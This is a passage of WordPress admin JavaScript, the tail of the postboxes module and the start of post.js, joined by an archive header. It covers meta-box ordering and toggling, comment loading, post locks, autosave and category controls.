'function' ) { postboxes.pbhide( id ); } } /** * Fires when a postbox has been opened or closed. * * Contains a jQuery object with the relevant postbox element. * * @since 4.0.0 * @ignore * * @event postboxes#postbox-toggled * @type {Object} */ $document.trigger( 'postbox-toggled', p ); }, /** * Handles clicks on the move up/down buttons. * * @since 5.5.0 * * @return {void} */ handleOrder: function() { var button = $( this ), postbox = button.closest( '.postbox' ), postboxId = postbox.attr( 'id' ), postboxesWithinSortables = postbox.closest( '.meta-box-sortables' ).find( '.postbox:visible' ), postboxesWithinSortablesCount = postboxesWithinSortables.length, postboxWithinSortablesIndex = postboxesWithinSortables.index( postbox ), firstOrLastPositionMessage; if ( 'dashboard_browser_nag' === postboxId ) { return; } // If on the first or last position, do nothing and send an audible message to screen reader users. if ( 'true' === button.attr( 'aria-disabled' ) ) { firstOrLastPositionMessage = button.hasClass( 'handle-order-higher' ) ? __( 'The box is on the first position' ) : __( 'The box is on the last position' ); wp.a11y.speak( firstOrLastPositionMessage ); return; } // Move a postbox up. if ( button.hasClass( 'handle-order-higher' ) ) { // If the box is first within a sortable area, move it to the previous sortable area. if ( 0 === postboxWithinSortablesIndex ) { postboxes.handleOrderBetweenSortables( 'previous', button, postbox ); return; } postbox.prevAll( '.postbox:visible' ).eq( 0 ).before( postbox ); button.trigger( 'focus' ); postboxes.updateOrderButtonsProperties(); postboxes.save_order( postboxes.page ); } // Move a postbox down. if ( button.hasClass( 'handle-order-lower' ) ) { // If the box is last within a sortable area, move it to the next sortable area. if ( postboxWithinSortablesIndex + 1 === postboxesWithinSortablesCount ) { postboxes.handleOrderBetweenSortables( 'next', button, postbox ); return; } postbox.nextAll( '.postbox:visible' ).eq( 0 ).after( postbox ); button.trigger( 'focus' ); postboxes.updateOrderButtonsProperties(); postboxes.save_order( postboxes.page ); } }, /** * Moves postboxes between the sortables areas. * * @since 5.5.0 * * @param {string} position The "previous" or "next" sortables area. * @param {Object} button The jQuery object representing the button that was clicked. * @param {Object} postbox The jQuery object representing the postbox to be moved. * * @return {void} */ handleOrderBetweenSortables: function( position, button, postbox ) { var closestSortablesId = button.closest( '.meta-box-sortables' ).attr( 'id' ), sortablesIds = [], sortablesIndex, detachedPostbox; // Get the list of sortables within the page. $( '.meta-box-sortables:visible' ).each( function() { sortablesIds.push( $( this ).attr( 'id' ) ); }); // Return if there's only one visible sortables area, e.g. in the block editor page. if ( 1 === sortablesIds.length ) { return; } // Find the index of the current sortables area within all the sortable areas. sortablesIndex = $.inArray( closestSortablesId, sortablesIds ); // Detach the postbox to be moved. detachedPostbox = postbox.detach(); // Move the detached postbox to its new position. if ( 'previous' === position ) { $( detachedPostbox ).appendTo( '#' + sortablesIds[ sortablesIndex - 1 ] ); } if ( 'next' === position ) { $( detachedPostbox ).prependTo( '#' + sortablesIds[ sortablesIndex + 1 ] ); } postboxes._mark_area(); button.focus(); postboxes.updateOrderButtonsProperties(); postboxes.save_order( postboxes.page ); }, /** * Update the move buttons properties depending on the postbox position. * * @since 5.5.0 * * @return {void} */ updateOrderButtonsProperties: function() { var firstSortablesId = $( '.meta-box-sortables:visible:first' ).attr( 'id' ), lastSortablesId = $( '.meta-box-sortables:visible:last' ).attr( 'id' ), firstPostbox = $( '.postbox:visible:first' ), lastPostbox = $( '.postbox:visible:last' ), firstPostboxId = firstPostbox.attr( 'id' ), lastPostboxId = lastPostbox.attr( 'id' ), firstPostboxSortablesId = firstPostbox.closest( '.meta-box-sortables' ).attr( 'id' ), lastPostboxSortablesId = lastPostbox.closest( '.meta-box-sortables' ).attr( 'id' ), moveUpButtons = $( '.handle-order-higher' ), moveDownButtons = $( '.handle-order-lower' ); // Enable all buttons as a reset first. moveUpButtons .attr( 'aria-disabled', 'false' ) .removeClass( 'hidden' ); moveDownButtons .attr( 'aria-disabled', 'false' ) .removeClass( 'hidden' ); // When there's only one "sortables" area (e.g. in the block editor) and only one visible postbox, hide the buttons. if ( firstSortablesId === lastSortablesId && firstPostboxId === lastPostboxId ) { moveUpButtons.addClass( 'hidden' ); moveDownButtons.addClass( 'hidden' ); } // Set an aria-disabled=true attribute on the first visible "move" buttons. if ( firstSortablesId === firstPostboxSortablesId ) { $( firstPostbox ).find( '.handle-order-higher' ).attr( 'aria-disabled', 'true' ); } // Set an aria-disabled=true attribute on the last visible "move" buttons. if ( lastSortablesId === lastPostboxSortablesId ) { $( '.postbox:visible .handle-order-lower' ).last().attr( 'aria-disabled', 'true' ); } }, /** * Adds event handlers to all postboxes and screen option on the current page. * * @since 2.7.0 * * @memberof postboxes * * @param {string} page The page we are currently on. * @param {Object} [args] * @param {Function} args.pbshow A callback that is called when a postbox opens. * @param {Function} args.pbhide A callback that is called when a postbox closes. * @return {void} */ add_postbox_toggles : function (page, args) { var $handles = $( '.postbox .hndle, .postbox .handlediv' ), $orderButtons = $( '.postbox .handle-order-higher, .postbox .handle-order-lower' ); this.page = page; this.init( page, args ); $handles.on( 'click.postboxes', this.handle_click ); // Handle the order of the postboxes. $orderButtons.on( 'click.postboxes', this.handleOrder ); /** * @since 2.7.0 */ $('.postbox .hndle a').on( 'click', function(e) { e.stopPropagation(); }); /** * Hides a postbox. * * Event handler for the postbox dismiss button. After clicking the button * the postbox will be hidden. * * As of WordPress 5.5, this is only used for the browser update nag. * * @since 3.2.0 * * @return {void} */ $( '.postbox a.dismiss' ).on( 'click.postboxes', function( e ) { var hide_id = $(this).parents('.postbox').attr('id') + '-hide'; e.preventDefault(); $( '#' + hide_id ).prop('checked', false).triggerHandler('click'); }); /** * Hides the postbox element * * Event handler for the screen options checkboxes. When a checkbox is * clicked this function will hide or show the relevant postboxes. * * @since 2.7.0 * @ignore * * @fires postboxes#postbox-toggled * * @return {void} */ $('.hide-postbox-tog').on('click.postboxes', function() { var $el = $(this), boxId = $el.val(), $postbox = $( '#' + boxId ); if ( $el.prop( 'checked' ) ) { $postbox.show(); if ( typeof postboxes.pbshow === 'function' ) { postboxes.pbshow( boxId ); } } else { $postbox.hide(); if ( typeof postboxes.pbhide === 'function' ) { postboxes.pbhide( boxId ); } } postboxes.save_state( page ); postboxes._mark_area(); /** * @since 4.0.0 * @see postboxes.handle_click */ $document.trigger( 'postbox-toggled', $postbox ); }); /** * Changes the amount of columns based on the layout preferences. * * @since 2.8.0 * * @return {void} */ $('.columns-prefs input[type="radio"]').on('click.postboxes', function(){ var n = parseInt($(this).val(), 10); if ( n ) { postboxes._pb_edit(n); postboxes.save_order( page ); } }); }, /** * Initializes all the postboxes, mainly their sortable behavior. * * @since 2.7.0 * * @memberof postboxes * * @param {string} page The page we are currently on. * @param {Object} [args={}] The arguments for the postbox initializer. * @param {Function} args.pbshow A callback that is called when a postbox opens. * @param {Function} args.pbhide A callback that is called when a postbox * closes. * * @return {void} */ init : function(page, args) { var isMobile = $( document.body ).hasClass( 'mobile' ), $handleButtons = $( '.postbox .handlediv' ); $.extend( this, args || {} ); $('.meta-box-sortables').sortable({ placeholder: 'sortable-placeholder', connectWith: '.meta-box-sortables', items: '.postbox', handle: '.hndle', cursor: 'move', delay: ( isMobile ? 200 : 0 ), distance: 2, tolerance: 'pointer', forcePlaceholderSize: true, helper: function( event, element ) { /* `helper: 'clone'` is equivalent to `return element.clone();` * Cloning a checked radio and then inserting that clone next to the original * radio unchecks the original radio (since only one of the two can be checked). * We get around this by renaming the helper's inputs' name attributes so that, * when the helper is inserted into the DOM for the sortable, no radios are * duplicated, and no original radio gets unchecked. */ return element.clone() .find( ':input' ) .attr( 'name', function( i, currentName ) { return 'sort_' + parseInt( Math.random() * 100000, 10 ).toString() + '_' + currentName; } ) .end(); }, opacity: 0.65, start: function() { $( 'body' ).addClass( 'is-dragging-metaboxes' ); // Refresh the cached positions of all the sortable items so that the min-height set while dragging works. $( '.meta-box-sortables' ).sortable( 'refreshPositions' ); }, stop: function() { var $el = $( this ); $( 'body' ).removeClass( 'is-dragging-metaboxes' ); if ( $el.find( '#dashboard_browser_nag' ).is( ':visible' ) && 'dashboard_browser_nag' != this.firstChild.id ) { $el.sortable('cancel'); return; } postboxes.updateOrderButtonsProperties(); postboxes.save_order(page); }, receive: function(e,ui) { if ( 'dashboard_browser_nag' == ui.item[0].id ) $(ui.sender).sortable('cancel'); postboxes._mark_area(); $document.trigger( 'postbox-moved', ui.item ); } }); if ( isMobile ) { $(document.body).on('orientationchange.postboxes', function(){ postboxes._pb_change(); }); this._pb_change(); } this._mark_area(); // Update the "move" buttons properties. this.updateOrderButtonsProperties(); $document.on( 'postbox-toggled', this.updateOrderButtonsProperties ); // Set the handle buttons `aria-expanded` attribute initial value on page load. $handleButtons.each( function () { var $el = $( this ); $el.attr( 'aria-expanded', ! $el.closest( '.postbox' ).hasClass( 'closed' ) ); }); }, /** * Saves the state of the postboxes to the server. * * It sends two lists, one with all the closed postboxes, one with all the * hidden postboxes. * * @since 2.7.0 * * @memberof postboxes * * @param {string} page The page we are currently on. * @return {void} */ save_state : function(page) { var closed, hidden; // Return on the nav-menus.php screen, see #35112. if ( 'nav-menus' === page ) { return; } closed = $( '.postbox' ).filter( '.closed' ).map( function() { return this.id; } ).get().join( ',' ); hidden = $( '.postbox' ).filter( ':hidden' ).map( function() { return this.id; } ).get().join( ',' ); $.post( ajaxurl, { action: 'closed-postboxes', closed: closed, hidden: hidden, closedpostboxesnonce: jQuery('#closedpostboxesnonce').val(), page: page }, function() { wp.a11y.speak( __( 'Screen Options updated.' ) ); } ); }, /** * Saves the order of the postboxes to the server. * * Sends a list of all postboxes inside a sortable area to the server. * * @since 2.8.0 * * @memberof postboxes * * @param {string} page The page we are currently on. * @return {void} */ save_order : function(page) { var postVars, page_columns = $('.columns-prefs input:checked').val() || 0; postVars = { action: 'meta-box-order', _ajax_nonce: $('#meta-box-order-nonce').val(), page_columns: page_columns, page: page }; $('.meta-box-sortables').each( function() { postVars[ 'order[' + this.id.split( '-' )[0] + ']' ] = $( this ).sortable( 'toArray' ).join( ',' ); } ); $.post( ajaxurl, postVars, function( response ) { if ( response.success ) { wp.a11y.speak( __( 'The boxes order has been saved.' ) ); } } ); }, /** * Marks empty postbox areas. * * Adds a message to empty sortable areas on the dashboard page. Also adds a * border around the side area on the post edit screen if there are no postboxes * present. * * @since 3.3.0 * @access private * * @memberof postboxes * * @return {void} */ _mark_area : function() { var visible = $( 'div.postbox:visible' ).length, visibleSortables = $( '#dashboard-widgets .meta-box-sortables:visible, #post-body .meta-box-sortables:visible' ), areAllVisibleSortablesEmpty = true; visibleSortables.each( function() { var t = $(this); if ( visible == 1 || t.children( '.postbox:visible' ).length ) { t.removeClass('empty-container'); areAllVisibleSortablesEmpty = false; } else { t.addClass('empty-container'); } }); postboxes.updateEmptySortablesText( visibleSortables, areAllVisibleSortablesEmpty ); }, /** * Updates the text for the empty sortable areas on the Dashboard. * * @since 5.5.0 * * @param {Object} visibleSortables The jQuery object representing the visible sortable areas. * @param {boolean} areAllVisibleSortablesEmpty Whether all the visible sortable areas are "empty". * * @return {void} */ updateEmptySortablesText: function( visibleSortables, areAllVisibleSortablesEmpty ) { var isDashboard = $( '#dashboard-widgets' ).length, emptySortableText = areAllVisibleSortablesEmpty ? __( 'Add boxes from the Screen Options menu' ) : __( 'Drag boxes here' ); if ( ! isDashboard ) { return; } visibleSortables.each( function() { if ( $( this ).hasClass( 'empty-container' ) ) { $( this ).attr( 'data-emptyString', emptySortableText ); } } ); }, /** * Changes the amount of columns on the post edit page. * * @since 3.3.0 * @access private * * @memberof postboxes * * @fires postboxes#postboxes-columnchange * * @param {number} n The amount of columns to divide the post edit page in. * @return {void} */ _pb_edit : function(n) { var el = $('.metabox-holder').get(0); if ( el ) { el.className = el.className.replace(/columns-\d+/, 'columns-' + n); } /** * Fires when the amount of columns on the post edit page has been changed. * * @since 4.0.0 * @ignore * * @event postboxes#postboxes-columnchange */ $( document ).trigger( 'postboxes-columnchange' ); }, /** * Changes the amount of columns the postboxes are in based on the current * orientation of the browser. * * @since 3.3.0 * @access private * * @memberof postboxes * * @return {void} */ _pb_change : function() { var check = $( 'label.columns-prefs-1 input[type="radio"]' ); switch ( window.orientation ) { case 90: case -90: if ( !check.length || !check.is(':checked') ) this._pb_edit(2); break; case 0: case 180: if ( $( '#poststuff' ).length ) { this._pb_edit(1); } else { if ( !check.length || !check.is(':checked') ) this._pb_edit(2); } break; } }, /* Callbacks */ /** * @since 2.7.0 * @access public * * @property {Function|boolean} pbshow A callback that is called when a postbox * is opened. * @memberof postboxes */ pbshow : false, /** * @since 2.7.0 * @access public * @property {Function|boolean} pbhide A callback that is called when a postbox * is closed. * @memberof postboxes */ pbhide : false }; }(jQuery)); post.js 0000644 00000115267 15174417325 0006114 0 ustar 00 /** * @file Contains all dynamic functionality needed on post and term pages. * * @output wp-admin/js/post.js */ /* global ajaxurl, wpAjax, postboxes, pagenow, tinymce, alert, deleteUserSetting, ClipboardJS */ /* global theList:true, theExtraList:true, getUserSetting, setUserSetting, commentReply, commentsBox */ /* global WPSetThumbnailHTML, wptitlehint */ // Backward compatibility: prevent fatal errors. window.makeSlugeditClickable = window.editPermalink = function(){}; // Make sure the wp object exists. window.wp = window.wp || {}; ( function( $ ) { var titleHasFocus = false, __ = wp.i18n.__; /** * Control loading of comments on the post and term edit pages. * * @type {{st: number, get: commentsBox.get, load: commentsBox.load}} * * @namespace commentsBox */ window.commentsBox = { // Comment offset to use when fetching new comments. st : 0, /** * Fetch comments using Ajax and display them in the box. * * @memberof commentsBox * * @param {number} total Total number of comments for this post. * @param {number} num Optional. Number of comments to fetch, defaults to 20. * @return {boolean} Always returns false. */ get : function(total, num) { var st = this.st, data; if ( ! num ) num = 20; this.st += num; this.total = total; $( '#commentsdiv .spinner' ).addClass( 'is-active' ); data = { 'action' : 'get-comments', 'mode' : 'single', '_ajax_nonce' : $('#add_comment_nonce').val(), 'p' : $('#post_ID').val(), 'start' : st, 'number' : num }; $.post( ajaxurl, data, function(r) { r = wpAjax.parseAjaxResponse(r); $('#commentsdiv .widefat').show(); $( '#commentsdiv .spinner' ).removeClass( 'is-active' ); if ( 'object' == typeof r && r.responses[0] ) { $('#the-comment-list').append( r.responses[0].data ); theList = theExtraList = null; $( 'a[className*=\':\']' ).off(); // If the offset is over the total number of comments we cannot fetch any more, so hide the button. if ( commentsBox.st > commentsBox.total ) $('#show-comments').hide(); else $('#show-comments').show().children('a').text( __( 'Show more comments' ) ); return; } else if ( 1 == r ) { $('#show-comments').text( __( 'No more comments found.' ) ); return; } $('#the-comment-list').append('<tr><td colspan="2">'+wpAjax.broken+'</td></tr>'); } ); return false; }, /** * Load the next batch of comments. * * @memberof commentsBox * * @param {number} total Total number of comments to load. */ load: function(total){ this.st = jQuery('#the-comment-list tr.comment:visible').length; this.get(total); } }; /** * Overwrite the content of the Featured Image postbox * * @param {string} html New HTML to be displayed in the content area of the postbox. * * @global */ window.WPSetThumbnailHTML = function(html){ $('.inside', '#postimagediv').html(html); }; /** * Set the Image ID of the Featured Image * * @param {number} id The post_id of the image to use as Featured Image. * * @global */ window.WPSetThumbnailID = function(id){ var field = $('input[value="_thumbnail_id"]', '#list-table'); if ( field.length > 0 ) { $('#meta\\[' + field.attr('id').match(/[0-9]+/) + '\\]\\[value\\]').text(id); } }; /** * Remove the Featured Image * * @param {string} nonce Nonce to use in the request. * * @global */ window.WPRemoveThumbnail = function(nonce){ $.post( ajaxurl, { action: 'set-post-thumbnail', post_id: $( '#post_ID' ).val(), thumbnail_id: -1, _ajax_nonce: nonce, cookie: encodeURIComponent( document.cookie ) }, /** * Handle server response * * @param {string} str Response, will be '0' when an error occurred otherwise contains link to add Featured Image. */ function(str){ if ( str == '0' ) { alert( __( 'Could not set that as the thumbnail image. Try a different attachment.' ) ); } else { WPSetThumbnailHTML(str); } } ); }; /** * Heartbeat locks. * * Used to lock editing of an object by only one user at a time. * * When the user does not send a heartbeat in a heartbeat-time * the user is no longer editing and another user can start editing. */ $(document).on( 'heartbeat-send.refresh-lock', function( e, data ) { var lock = $('#active_post_lock').val(), post_id = $('#post_ID').val(), send = {}; if ( ! post_id || ! $('#post-lock-dialog').length ) return; send.post_id = post_id; if ( lock ) send.lock = lock; data['wp-refresh-post-lock'] = send; }).on( 'heartbeat-tick.refresh-lock', function( e, data ) { // Post locks: update the lock string or show the dialog if somebody has taken over editing. var received, wrap, avatar; if ( data['wp-refresh-post-lock'] ) { received = data['wp-refresh-post-lock']; if ( received.lock_error ) { // Show "editing taken over" message. wrap = $('#post-lock-dialog'); if ( wrap.length && ! wrap.is(':visible') ) { if ( wp.autosave ) { // Save the latest changes and disable. $(document).one( 'heartbeat-tick', function() { wp.autosave.server.suspend(); wrap.removeClass('saving').addClass('saved'); $(window).off( 'beforeunload.edit-post' ); }); wrap.addClass('saving'); wp.autosave.server.triggerSave(); } if ( received.lock_error.avatar_src ) { avatar = $( '<img />', { 'class': 'avatar avatar-64 photo', width: 64, height: 64, alt: '', src: received.lock_error.avatar_src, srcset: received.lock_error.avatar_src_2x ? received.lock_error.avatar_src_2x + ' 2x' : undefined } ); wrap.find('div.post-locked-avatar').empty().append( avatar ); } wrap.show().find('.currently-editing').text( received.lock_error.text ); wrap.find('.wp-tab-first').trigger( 'focus' ); } } else if ( received.new_lock ) { $('#active_post_lock').val( received.new_lock ); } } }).on( 'before-autosave.update-post-slug', function() { titleHasFocus = document.activeElement && document.activeElement.id === 'title'; }).on( 'after-autosave.update-post-slug', function() { /* * Create slug area only if not already there * and the title field was not focused (user was not typing a title) when autosave ran. */ if ( ! $('#edit-slug-box > *').length && ! titleHasFocus ) { $.post( ajaxurl, { action: 'sample-permalink', post_id: $('#post_ID').val(), new_title: $('#title').val(), samplepermalinknonce: $('#samplepermalinknonce').val() }, function( data ) { if ( data != '-1' ) { $('#edit-slug-box').html(data); } } ); } }); }(jQuery)); /** * Heartbeat refresh nonces. */ (function($) { var check, timeout; /** * Only allow to check for nonce refresh every 30 seconds. */ function schedule() { check = false; window.clearTimeout( timeout ); timeout = window.setTimeout( function(){ check = true; }, 300000 ); } $( function() { schedule(); }).on( 'heartbeat-send.wp-refresh-nonces', function( e, data ) { var post_id, $authCheck = $('#wp-auth-check-wrap'); if ( check || ( $authCheck.length && ! $authCheck.hasClass( 'hidden' ) ) ) { if ( ( post_id = $('#post_ID').val() ) && $('#_wpnonce').val() ) { data['wp-refresh-post-nonces'] = { post_id: post_id }; } } }).on( 'heartbeat-tick.wp-refresh-nonces', function( e, data ) { var nonces = data['wp-refresh-post-nonces']; if ( nonces ) { schedule(); if ( nonces.replace ) { $.each( nonces.replace, function( selector, value ) { $( '#' + selector ).val( value ); }); } if ( nonces.heartbeatNonce ) window.heartbeatSettings.nonce = nonces.heartbeatNonce; } }); }(jQuery)); /** * All post and postbox controls and functionality. */ jQuery( function($) { var stamp, visibility, $submitButtons, updateVisibility, updateText, $textarea = $('#content'), $document = $(document), postId = $('#post_ID').val() || 0, $submitpost = $('#submitpost'), releaseLock = true, $postVisibilitySelect = $('#post-visibility-select'), $timestampdiv = $('#timestampdiv'), $postStatusSelect = $('#post-status-select'), isMac = window.navigator.platform ? window.navigator.platform.indexOf( 'Mac' ) !== -1 : false, copyAttachmentURLClipboard = new ClipboardJS( '.copy-attachment-url.edit-media' ), copyAttachmentURLSuccessTimeout, __ = wp.i18n.__, _x = wp.i18n._x; postboxes.add_postbox_toggles(pagenow); /* * Clear the window name. Otherwise if this is a former preview window where the user navigated to edit another post, * and the first post is still being edited, clicking Preview there will use this window to show the preview. */ window.name = ''; // Post locks: contain focus inside the dialog. If the dialog is shown, focus the first item. $('#post-lock-dialog .notification-dialog').on( 'keydown', function(e) { // Don't do anything when [Tab] is pressed. if ( e.which != 9 ) return; var target = $(e.target); // [Shift] + [Tab] on first tab cycles back to last tab. if ( target.hasClass('wp-tab-first') && e.shiftKey ) { $(this).find('.wp-tab-last').trigger( 'focus' ); e.preventDefault(); // [Tab] on last tab cycles back to first tab. } else if ( target.hasClass('wp-tab-last') && ! e.shiftKey ) { $(this).find('.wp-tab-first').trigger( 'focus' ); e.preventDefault(); } }).filter(':visible').find('.wp-tab-first').trigger( 'focus' ); // Set the heartbeat interval to 10 seconds if post lock dialogs are enabled. if ( wp.heartbeat && $('#post-lock-dialog').length ) { wp.heartbeat.interval( 10 ); } // The form is being submitted by the user. $submitButtons = $submitpost.find( ':submit, a.submitdelete, #post-preview' ).on( 'click.edit-post', function( event ) { var $button = $(this); if ( $button.hasClass('disabled') ) { event.preventDefault(); return; } if ( $button.hasClass('submitdelete') || $button.is( '#post-preview' ) ) { return; } // The form submission can be blocked from JS or by using HTML 5.0 validation on some fields. // Run this only on an actual 'submit'. $('form#post').off( 'submit.edit-post' ).on( 'submit.edit-post', function( event ) { if ( event.isDefaultPrevented() ) { return; } // Stop auto save. if ( wp.autosave ) { wp.autosave.server.suspend(); } if ( typeof commentReply !== 'undefined' ) { /* * Warn the user they have an unsaved comment before submitting * the post data for update. */ if ( ! commentReply.discardCommentChanges() ) { return false; } /* * Close the comment edit/reply form if open to stop the form * action from interfering with the post's form action. */ commentReply.close(); } releaseLock = false; $(window).off( 'beforeunload.edit-post' ); $submitButtons.addClass( 'disabled' ); if ( $button.attr('id') === 'publish' ) { $submitpost.find( '#major-publishing-actions .spinner' ).addClass( 'is-active' ); } else { $submitpost.find( '#minor-publishing .spinner' ).addClass( 'is-active' ); } }); }); // Submit the form saving a draft or an autosave, and show a preview in a new tab. $('#post-preview').on( 'click.post-preview', function( event ) { var $this = $(this), $form = $('form#post'), $previewField = $('input#wp-preview'), target = $this.attr('target') || 'wp-preview', ua = navigator.userAgent.toLowerCase(); event.preventDefault(); if ( $this.hasClass('disabled') ) { return; } if ( wp.autosave ) { wp.autosave.server.tempBlockSave(); } $previewField.val('dopreview'); $form.attr( 'target', target ).trigger( 'submit' ).attr( 'target', '' ); // Workaround for WebKit bug preventing a form submitting twice to the same action. // https://bugs.webkit.org/show_bug.cgi?id=28633 if ( ua.indexOf('safari') !== -1 && ua.indexOf('chrome') === -1 ) { $form.attr( 'action', function( index, value ) { return value + '?t=' + ( new Date() ).getTime(); }); } $previewField.val(''); }); // Auto save new posts after a title is typed. if ( $( '#auto_draft' ).val() ) { $( '#title' ).on( 'blur', function() { var cancel; if ( ! this.value || $('#edit-slug-box > *').length ) { return; } // Cancel the auto save when the blur was triggered by the user submitting the form. $('form#post').one( 'submit', function() { cancel = true; }); window.setTimeout( function() { if ( ! cancel && wp.autosave ) { wp.autosave.server.triggerSave(); } }, 200 ); }); } $document.on( 'autosave-disable-buttons.edit-post', function() { $submitButtons.addClass( 'disabled' ); }).on( 'autosave-enable-buttons.edit-post', function() { if ( ! wp.heartbeat || ! wp.heartbeat.hasConnectionError() ) { $submitButtons.removeClass( 'disabled' ); } }).on( 'before-autosave.edit-post', function() { $( '.autosave-message' ).text( __( 'Saving Draft…' ) ); }).on( 'after-autosave.edit-post', function( event, data ) { $( '.autosave-message' ).text( data.message ); if ( $( document.body ).hasClass( 'post-new-php' ) ) { $( '.submitbox .submitdelete' ).show(); } }); /* * When the user is trying to load another page, or reloads current page * show a confirmation dialog when there are unsaved changes. */ $( window ).on( 'beforeunload.edit-post', function( event ) { var editor = window.tinymce && window.tinymce.get( 'content' ); var changed = false; if ( wp.autosave ) { changed = wp.autosave.server.postChanged(); } else if ( editor ) { changed = ( ! editor.isHidden() && editor.isDirty() ); } if ( changed ) { event.preventDefault(); // The return string is needed for browser compat. // See https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event. return __( 'The changes you made will be lost if you navigate away from this page.' ); } }).on( 'pagehide.edit-post', function( event ) { if ( ! releaseLock ) { return; } /* * Unload is triggered (by hand) on removing the Thickbox iframe. * Make sure we process only the main document unload. */ if ( event.target && event.target.nodeName != '#document' ) { return; } var postID = $('#post_ID').val(); var postLock = $('#active_post_lock').val(); if ( ! postID || ! postLock ) { return; } var data = { action: 'wp-remove-post-lock', _wpnonce: $('#_wpnonce').val(), post_ID: postID, active_post_lock: postLock }; if ( window.FormData && window.navigator.sendBeacon ) { var formData = new window.FormData(); $.each( data, function( key, value ) { formData.append( key, value ); }); if ( window.navigator.sendBeacon( ajaxurl, formData ) ) { return; } } // Fall back to a synchronous POST request. // See https://developer.mozilla.org/en-US/docs/Web/API/Navigator/sendBeacon $.post({ async: false, data: data, url: ajaxurl }); }); // Multiple taxonomies. if ( $('#tagsdiv-post_tag').length ) { window.tagBox && window.tagBox.init(); } else { $('.meta-box-sortables').children('div.postbox').each(function(){ if ( this.id.indexOf('tagsdiv-') === 0 ) { window.tagBox && window.tagBox.init(); return false; } }); } // Handle categories. $('.categorydiv').each( function(){ var this_id = $(this).attr('id'), catAddBefore, catAddAfter, taxonomyParts, taxonomy, settingName; taxonomyParts = this_id.split('-'); taxonomyParts.shift(); taxonomy = taxonomyParts.join('-'); settingName = taxonomy + '_tab'; if ( taxonomy == 'category' ) { settingName = 'cats'; } // @todo Move to jQuery 1.3+, support for multiple hierarchical taxonomies, see wp-lists.js. $('a', '#' + taxonomy + '-tabs').on( 'click', function( e ) { e.preventDefault(); var t = $(this).attr('href'); $(this).parent().addClass('tabs').siblings('li').removeClass('tabs'); $('#' + taxonomy + '-tabs').siblings('.tabs-panel').hide(); $(t).show(); if ( '#' + taxonomy + '-all' == t ) { deleteUserSetting( settingName ); } else { setUserSetting( settingName, 'pop' ); } }); if ( getUserSetting( settingName ) ) $('a[href="#' + taxonomy + '-pop"]', '#' + taxonomy + '-tabs').trigger( 'click' ); // Add category button controls. $('#new' + taxonomy).one( 'focus', function() { $( this ).val( '' ).removeClass( 'form-input-tip' ); }); // On [Enter] submit the taxonomy. $('#new' + taxonomy).on( 'keypress', function(event){ if( 13 === event.keyCode ) { event.preventDefault(); $('#' + taxonomy + '-add-submit').trigger( 'click' ); } }); // After submitting a new taxonomy, re-focus the input field. $('#' + taxonomy + '-add-submit').on( 'click', function() { $('#new' + taxonomy).trigger( 'focus' ); }); /** * Before adding a new taxonomy, disable submit button. * * @param {Object} s Taxonomy object which will be added. * * @return {Object} */ catAddBefore = function( s ) { if ( !$('#new'+taxonomy).val() ) { return false; } s.data += '&' + $( ':checked', '#'+taxonomy+'checklist' ).serialize(); $( '#' + taxonomy + '-add-submit' ).prop( 'disabled', true ); return s; }; /** * Re-enable submit button after a taxonomy has been added. * * Re-enable submit button. * If the taxonomy has a parent place the taxonomy underneath the parent. * * @param {Object} r Response. * @param {Object} s Taxonomy data. * * @return {void} */ catAddAfter = function( r, s ) { var sup, drop = $('#new'+taxonomy+'_parent'); $( '#' + taxonomy + '-add-submit' ).prop( 'disabled', false ); if ( 'undefined' != s.parsed.responses[0] && (sup = s.parsed.responses[0].supplemental.newcat_parent) ) { drop.before(sup); drop.remove(); } }; $('#' + taxonomy + 'checklist').wpList({ alt: '', response: taxonomy + '-ajax-response', addBefore: catAddBefore, addAfter: catAddAfter }); // Add new taxonomy button toggles input form visibility. $('#' + taxonomy + '-add-toggle').on( 'click', function( e ) { e.preventDefault(); $('#' + taxonomy + '-adder').toggleClass( 'wp-hidden-children' ); $('a[href="#' + taxonomy + '-all"]', '#' + taxonomy + '-tabs').trigger( 'click' ); $('#new'+taxonomy).trigger( 'focus' ); }); // Sync checked items between "All {taxonomy}" and "Most used" lists. $('#' + taxonomy + 'checklist, #' + taxonomy + 'checklist-pop').on( 'click', 'li.popular-category > label input[type="checkbox"]', function() { var t = $(this), c = t.is(':checked'), id = t.val(); if ( id && t.parents('#taxonomy-'+taxonomy).length ) { $('input#in-' + taxonomy + '-' + id + ', input[id^="in-' + taxonomy + '-' + id + '-"]').prop('checked', c); $('input#in-popular-' + taxonomy + '-' + id).prop('checked', c); } } ); }); // End cats. // Custom Fields postbox. if ( $('#postcustom').length ) { $( '#the-list' ).wpList( { /** * Add current post_ID to request to fetch custom fields * * @ignore * * @param {Object} s Request object. * * @return {Object} Data modified with post_ID attached. */ addBefore: function( s ) { s.data += '&post_id=' + $('#post_ID').val(); return s; }, /** * Show the listing of custom fields after fetching. * * @ignore */ addAfter: function() { $('table#list-table').show(); } }); } /* * Publish Post box (#submitdiv) */ if ( $('#submitdiv').length ) { stamp = $('#timestamp').html(); visibility = $('#post-visibility-display').html(); /** * When the visibility of a post changes sub-options should be shown or hidden. * * @ignore * * @return {void} */ updateVisibility = function() { // Show sticky for public posts. if ( $postVisibilitySelect.find('input:radio:checked').val() != 'public' ) { $('#sticky').prop('checked', false); $('#sticky-span').hide(); } else { $('#sticky-span').show(); } // Show password input field for password protected post. if ( $postVisibilitySelect.find('input:radio:checked').val() != 'password' ) { $('#password-span').hide(); } else { $('#password-span').show(); } }; /** * Make sure all labels represent the current settings. * * @ignore * * @return {boolean} False when an invalid timestamp has been selected, otherwise True. */ updateText = function() { if ( ! $timestampdiv.length ) return true; var attemptedDate, originalDate, currentDate, publishOn, postStatus = $('#post_status'), optPublish = $('option[value="publish"]', postStatus), aa = $('#aa').val(), mm = $('#mm').val(), jj = $('#jj').val(), hh = $('#hh').val(), mn = $('#mn').val(); attemptedDate = new Date( aa, mm - 1, jj, hh, mn ); originalDate = new Date( $('#hidden_aa').val(), $('#hidden_mm').val() -1, $('#hidden_jj').val(), $('#hidden_hh').val(), $('#hidden_mn').val() ); currentDate = new Date( $('#cur_aa').val(), $('#cur_mm').val() -1, $('#cur_jj').val(), $('#cur_hh').val(), $('#cur_mn').val() ); // Catch unexpected date problems. if ( attemptedDate.getFullYear() != aa || (1 + attemptedDate.getMonth()) != mm || attemptedDate.getDate() != jj || attemptedDate.getMinutes() != mn ) { $timestampdiv.find('.timestamp-wrap').addClass('form-invalid'); return false; } else { $timestampdiv.find('.timestamp-wrap').removeClass('form-invalid'); } // Determine what the publish should be depending on the date and post status. if ( attemptedDate > currentDate ) { publishOn = 